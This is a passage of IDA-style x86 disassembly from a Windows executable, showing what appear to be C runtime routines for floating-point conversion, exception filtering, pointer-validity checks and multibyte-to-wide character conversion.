loc_41D880:				; CODE XREF: sub_41D861+1Bj
		test	bl, 10h
		jz	short loc_41D887
		or	al, 2

loc_41D887:				; CODE XREF: sub_41D861+22j
		test	bl, 20h
		jz	short loc_41D88E
		or	al, 1

loc_41D88E:				; CODE XREF: sub_41D861+29j
		test	bl, 2
		jz	short loc_41D898
		or	eax, 80000h

loc_41D898:				; CODE XREF: sub_41D861+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8D0
		cmp	edx, 400h
		jz	short loc_41D8CD
		cmp	edx, 800h
		jz	short loc_41D8C9
		cmp	edx, esi
		jnz	short loc_41D8D0
		or	eax, edi
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------

loc_41D8C9:				; CODE XREF: sub_41D861+5Ej
		or	eax, ebp
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------

loc_41D8CD:				; CODE XREF: sub_41D861+56j
		or	ah, 1

loc_41D8D0:				; CODE XREF: sub_41D861+4Ej
					; sub_41D861+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41D8E0
		cmp	ecx, ebp
		jnz	short loc_41D8E5
		or	eax, 10000h
		jmp	short loc_41D8E5
; ---------------------------------------------------------------------------

loc_41D8E0:				; CODE XREF: sub_41D861+72j
		or	eax, 20000h

loc_41D8E5:				; CODE XREF: sub_41D861+76j
					; sub_41D861+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8F2
		or	eax, 40000h

locret_41D8F2:				; CODE XREF: sub_41D861+8Aj
		retn
sub_41D861	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8F3	proc near		; CODE XREF: sub_41D816+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D903
		push	1
		pop	eax

loc_41D903:				; CODE XREF: sub_41D8F3+Bj
		test	bl, 8
		jz	short loc_41D90A
		or	al, 4

loc_41D90A:				; CODE XREF: sub_41D8F3+13j
		test	bl, 4
		jz	short loc_41D911
		or	al, 8

loc_41D911:				; CODE XREF: sub_41D8F3+1Aj
		test	bl, 2
		jz	short loc_41D918
		or	al, 10h

loc_41D918:				; CODE XREF: sub_41D8F3+21j
		test	bl, 1
		jz	short loc_41D91F
		or	al, 20h

loc_41D91F:				; CODE XREF: sub_41D8F3+28j
		test	ebx, 80000h
		jz	short loc_41D929
		or	al, 2

loc_41D929:				; CODE XREF: sub_41D8F3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D956
		cmp	ecx, 100h
		jz	short loc_41D953
		cmp	ecx, esi
		jz	short loc_41D94E
		cmp	ecx, edx
		jnz	short loc_41D956
		or	ah, 0Ch
		jmp	short loc_41D956
; ---------------------------------------------------------------------------

loc_41D94E:				; CODE XREF: sub_41D8F3+50j
		or	ah, 8
		jmp	short loc_41D956
; ---------------------------------------------------------------------------

loc_41D953:				; CODE XREF: sub_41D8F3+4Cj
		or	ah, 4

loc_41D956:				; CODE XREF: sub_41D8F3+44j
					; sub_41D8F3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D96C
		cmp	ecx, 10000h
		jnz	short loc_41D96E
		or	eax, esi
		jmp	short loc_41D96E
; ---------------------------------------------------------------------------

loc_41D96C:				; CODE XREF: sub_41D8F3+6Bj
		or	eax, edx

loc_41D96E:				; CODE XREF: sub_41D8F3+73j
					; sub_41D8F3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D97B
		or	ah, 10h

locret_41D97B:				; CODE XREF: sub_41D8F3+83j
		retn
sub_41D8F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D97C	proc near		; CODE XREF: sub_41DA1B+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9C1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D9BC
		lea	eax, [eax+esi*4]

loc_41D9AE:				; CODE XREF: sub_41D97C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9C1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D9AE

loc_41D9BC:				; CODE XREF: sub_41D97C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D9C1:				; CODE XREF: sub_41D97C+27j
					; sub_41D97C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9C5	proc near		; CODE XREF: sub_41DA1B+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		js	short loc_41DA17
		lea	edi, [ebx+esi*4]

loc_41D9FE:				; CODE XREF: sub_41D9C5+50j
		test	eax, eax
		jz	short loc_41DA17
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9FE

loc_41DA17:				; CODE XREF: sub_41D9C5+34j
					; sub_41D9C5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA1B	proc near		; CODE XREF: sub_41DB76+81p
					; sub_41DB76+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_41DA7F
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D97C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA7C
		push	edi
		push	[ebp+arg_0]
		call	sub_41D9C5
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_41DA7C:				; CODE XREF: sub_41DA1B+51j
		mov	eax, [ebp+arg_4]

loc_41DA7F:				; CODE XREF: sub_41DA1B+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_41DA9F
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_41DA9F:				; CODE XREF: sub_41DA1B+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DA1B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAA7	proc near		; CODE XREF: sub_41DB76+75p
					; sub_41DB76+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_41DAB5:				; CODE XREF: sub_41DAA7+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41DAB5
		pop	esi
		retn
sub_41DAA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAC2	proc near		; CODE XREF: sub_41DB76+5Fp
					; sub_41DB76+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41DAC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DACE	proc near		; CODE XREF: sub_41DB76+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_41DAD4:				; CODE XREF: sub_41DACE+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_41DAE6
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_41DAD4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41DAE6:				; CODE XREF: sub_41DACE+9j
		xor	eax, eax
		retn
sub_41DACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DAE9	proc near		; CODE XREF: sub_41DB76+C0p
					; sub_41DB76+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_41DB1F:				; CODE XREF: sub_41DAE9+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_41DB1F
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_41DB51:				; CODE XREF: sub_41DAE9+86j
		cmp	ebx, edi
		jl	short loc_41DB64
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_41DB6B
; ---------------------------------------------------------------------------

loc_41DB64:				; CODE XREF: sub_41DAE9+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_41DB6B:				; CODE XREF: sub_41DAE9+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_41DB51
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DAE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB76	proc near		; CODE XREF: sub_41DCE2+Dp
					; sub_41DCF8+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_41DBE3
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_41DACE
		test	eax, eax
		pop	ecx
		jnz	loc_41DCA2
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx

loc_41DBDB:				; CODE XREF: sub_41DB76+E4j
		push	2

loc_41DBDD:				; CODE XREF: sub_41DB76+110j
		pop	eax
		jmp	loc_41DCA4
; ---------------------------------------------------------------------------

loc_41DBE3:				; CODE XREF: sub_41DB76+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41DAA7
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		add	esp, 10h
		test	eax, eax
		jz	short loc_41DC04
		inc	ebx

loc_41DC04:				; CODE XREF: sub_41DB76+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_41DC1C
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		pop	ecx
		jmp	short loc_41DC58
; ---------------------------------------------------------------------------

loc_41DC1C:				; CODE XREF: sub_41DB76+98j
		cmp	ebx, eax
		jg	short loc_41DC5F
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAA7
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_41DAE9
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DA1B
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		add	esp, 20h

loc_41DC58:				; CODE XREF: sub_41DB76+A4j
		xor	esi, esi
		jmp	loc_41DBDB
; ---------------------------------------------------------------------------

loc_41DC5F:				; CODE XREF: sub_41DB76+A8j
		cmp	ebx, [edi]
		jl	short loc_41DC8B
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAC2
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DAE9
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_41DBDD
; ---------------------------------------------------------------------------

loc_41DC8B:				; CODE XREF: sub_41DB76+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_41DAE9
		pop	ecx
		pop	ecx

loc_41DCA2:				; CODE XREF: sub_41DB76+55j
		xor	eax, eax

loc_41DCA4:				; CODE XREF: sub_41DB76+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_41DCD3
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_41DCDD
; ---------------------------------------------------------------------------

loc_41DCD3:				; CODE XREF: sub_41DB76+14Ej
		cmp	edi, 20h
		jnz	short loc_41DCDD
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_41DCDD:				; CODE XREF: sub_41DB76+15Bj
					; sub_41DB76+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DB76	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCE2	proc near		; CODE XREF: sub_41DD0E+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_4386F0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCF8	proc near		; CODE XREF: sub_41DD3B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438708
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41DB76
		add	esp, 0Ch
		retn
sub_41DCF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD0E	proc near		; CODE XREF: sub_419FD8+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCE2
		add	esp, 24h
		leave
		retn
sub_41DD0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD3B	proc near		; CODE XREF: sub_419FD8+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EB33
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DCF8
		add	esp, 24h
		leave
		retn
sub_41DD3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD68	proc near		; CODE XREF: sub_41A016+65p
					; sub_41A11A+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DDA5
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_41DD8B:				; CODE XREF: sub_41DD68+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD97
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD9A
; ---------------------------------------------------------------------------

loc_41DD97:				; CODE XREF: sub_41DD68+27j
		push	30h
		pop	edx

loc_41DD9A:				; CODE XREF: sub_41DD68+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD8B
		mov	edx, [ebp+arg_8]

loc_41DDA5:				; CODE XREF: sub_41DD68+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DDBE
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DDBE

loc_41DDB1:				; CODE XREF: sub_41DD68+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DDBC
		mov	byte ptr [eax],	30h
		jmp	short loc_41DDB1
; ---------------------------------------------------------------------------

loc_41DDBC:				; CODE XREF: sub_41DD68+4Dj
		inc	byte ptr [eax]

loc_41DDBE:				; CODE XREF: sub_41DD68+42j
					; sub_41DD68+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDC8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDDA
; ---------------------------------------------------------------------------

loc_41DDC8:				; CODE XREF: sub_41DD68+59j
		push	edi
		call	sub_415CF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416490
		add	esp, 10h

loc_41DDDA:				; CODE XREF: sub_41DD68+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDDF	proc near		; CODE XREF: sub_41A016+3Fp
					; sub_41A11A+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE43
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469660
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F004
		mov	dword_469688, eax
		add	esp, 18h
		movsx	eax, byte_469662
		mov	dword_469680, eax
		pop	edi
		movsx	eax, word_469660
		mov	dword_469684, eax
		mov	dword_46968C, offset dword_469664
		mov	eax, offset dword_469680
		pop	esi
		leave
		retn
sub_41DDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE43	proc near		; CODE XREF: sub_41DDDF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE91
		cmp	ebx, edi
		jz	short loc_41DE8A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------

loc_41DE8A:				; CODE XREF: sub_41DE43+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------

loc_41DE91:				; CODE XREF: sub_41DE43+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DEA9
		cmp	edx, ebx
		jnz	short loc_41DEA9
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DEF4
; ---------------------------------------------------------------------------

loc_41DEA9:				; CODE XREF: sub_41DE43+52j
					; sub_41DE43+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_41DEB2:				; CODE XREF: sub_41DE43+45j
					; sub_41DE43+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_41DECA:				; CODE XREF: sub_41DE43+A6j
		test	ecx, esi
		jnz	short loc_41DEEB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------

loc_41DEEB:				; CODE XREF: sub_41DE43+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_41DEF4:				; CODE XREF: sub_41DE43+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE43	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_417BEE
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DF02	proc near		; DATA XREF: sub_41DF48o
					; seg000:004380C0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DF25
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DF25
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DF25
		jmp	sub_41AB9C
; ---------------------------------------------------------------------------

loc_41DF25:				; CODE XREF: sub_41DF02+Dj
					; sub_41DF02+13j ...
		mov	eax, dword_469690
		test	eax, eax
		jz	short loc_41DF42
		push	eax
		call	sub_41DF9E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF42
		push	esi
		call	dword_469690
		jmp	short loc_41DF44
; ---------------------------------------------------------------------------

loc_41DF42:				; CODE XREF: sub_41DF02+2Aj
					; sub_41DF02+35j
		xor	eax, eax

loc_41DF44:				; CODE XREF: sub_41DF02+3Ej
		pop	esi
		retn	4
sub_41DF02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF48	proc near		; DATA XREF: seg000:00423024o
		push	offset sub_41DF02
		call	dword_42101C	; SetUnhandledExceptionFilter
		mov	dword_469690, eax
		retn
sub_41DF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF59	proc near		; DATA XREF: seg000:0042303Co
		push	dword_469690
		call	dword_42101C	; SetUnhandledExceptionFilter
		retn
sub_41DF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF66	proc near		; CODE XREF: sub_41A3EE+6Bp
					; sub_41A8FF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41DF7E
		xor	esi, esi

loc_41DF7E:				; CODE XREF: sub_41DF66+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF82	proc near		; CODE XREF: sub_41A8FF+73p
					; sub_41A8FF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421180	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41DF9A
		xor	esi, esi

loc_41DF9A:				; CODE XREF: sub_41DF82+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF9E	proc near		; CODE XREF: sub_41A8FF+15Bp
					; sub_41DF02+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_421014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_41DFB2
		xor	esi, esi

loc_41DFB2:				; CODE XREF: sub_41DF9E+10j
		mov	eax, esi
		pop	esi
		retn
sub_41DF9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB9C

loc_41DFB6:				; CODE XREF: sub_41AB9C:loc_41ABEDj
		push	0Ah
		call	sub_41CF19
		push	16h
		call	sub_41F297
		pop	ecx
		pop	ecx
		push	3
		call	sub_417838
; END OF FUNCTION CHUNK	FOR sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFCD	proc near		; CODE XREF: sub_41AD3D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFF0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFF0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFF6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFF0
		mov	[eax], bx

loc_41DFF0:				; CODE XREF: sub_41DFCD+Cj
					; sub_41DFCD+11j ...
		xor	eax, eax

loc_41DFF2:				; CODE XREF: sub_41DFCD+42j
					; sub_41DFCD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41DFF6:				; CODE XREF: sub_41DFCD+17j
		cmp	dword_469528, ebx
		jnz	short loc_41E011
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E00C
		movzx	ax, al
		mov	[ecx], ax

loc_41E00C:				; CODE XREF: sub_41DFCD+36j
					; sub_41DFCD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------

loc_41E011:				; CODE XREF: sub_41DFCD+2Fj
		mov	ecx, off_437D70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E06E
		mov	eax, dword_437F7C
		cmp	eax, 1
		jle	short loc_41E055
		cmp	[ebp+arg_8], eax
		jl	short loc_41E05F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_469538
		call	dword_421064	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_437F7C
		jnz	short loc_41DFF2

loc_41E055:				; CODE XREF: sub_41DFCD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E05F
		cmp	[esi+1], bl
		jnz	short loc_41DFF2

loc_41E05F:				; CODE XREF: sub_41DFCD+61j
					; sub_41DFCD+8Bj ...
		mov	dword_469494, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------

loc_41E06E:				; CODE XREF: sub_41DFCD+52j
